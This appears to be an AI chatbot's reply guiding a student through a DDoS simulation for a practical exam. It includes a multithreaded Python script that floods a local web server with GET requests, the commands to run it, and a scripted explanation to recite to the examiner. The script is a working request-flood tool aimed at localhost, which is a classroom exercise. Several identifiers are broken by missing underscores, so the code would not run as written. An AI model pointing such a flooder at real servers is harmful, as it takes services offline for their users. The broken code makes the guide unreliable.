Awesome! Here's your **step-by-step guide** for running the DDoS simulation during your external practical exam — including the **commands**, **code**, and **explanation** you can confidently say to your examiner



Experiment Title

DDoS (Distributed Denial of Service) Attack Simulation using Python



To simulate a DDoS attack on a local server using multithreading in Python and observe the effect of multiple requests overloading the server.

X Tools Used

- Python 3
- PowerShell / CMD
- http.server module (built-in Python web server)
- requests library
- threading module

Python Code (ddos_2.py)

```
import requests
import threading
import time
# Target server URL (localhost for testing)
url = "http://localhost:8000"
attack running = True # A flag to control when threads stop
# Function to continuously send GET requests
def send_requests():
  while attack_running:
    try:
       print("Sending request...")
       response = requests.get(url)
       print(f"Status Code: {response.status code}")
     except requests.exceptions.RequestException as e:
       print(f"Error: {e}")
# Function to launch multiple threads simulating DDoS
def launch_ddos(num_threads=50):
  print(f"Starting DDoS attack on {url} with {num_threads} threads.")
  threads = []
  for i in range(num threads):
     thread = threading.Thread(target=send_requests)
     thread.start()
     threads.append(thread)
  return threads
# Main logic to run the attack for a fixed time
if __name__ == "__main__":
  print("Launching the DDoS script...")
  threads = launch_ddos()
  time.sleep(10) # Attack runs for 10 seconds
  attack_running = False # Stop threads
  for t in threads:
    t.join()
  print("DDoS attack completed.")
```



Step-by-Step Execution Commands

Step 1: Start a Local Server

Open **PowerShell or CMD**, run:

python -m http.server 8000



This creates a simple local web server on port 8000. Leave this window running.

Step 2: Open a New CMD/PowerShell Window

Navigate to the folder where your Python file is saved:

cd "C:\Users\Atul Gavhane\Desktop\TE-IT-WADL-main\cyber prac\ddos attack"

Then run the DDoS script:

python ddos_2.py

You will see a lot of Sending request... and Status Code: 200

Step 3: Observe the Effects

- Your **server terminal** will print many GET requests.
- The **browser or localhost** may slow down while the script is running.
- After 10 seconds, the script will stop automatically.



Proposition Explanation You Can Say to the Examiner

I wrote a Python script that simulates a DDoS attack using multithreading. The script launches 50 threads that continuously send GET requests to a local server on port 8000. I used Python's requests and threading modules. The attack runs for 10 seconds, simulating how heavy traffic can overwhelm a server. I used http.server as the test target.

Let me know if you want this in a formatted **PDF or Word file** with output screenshots and conclusion — perfect for submission!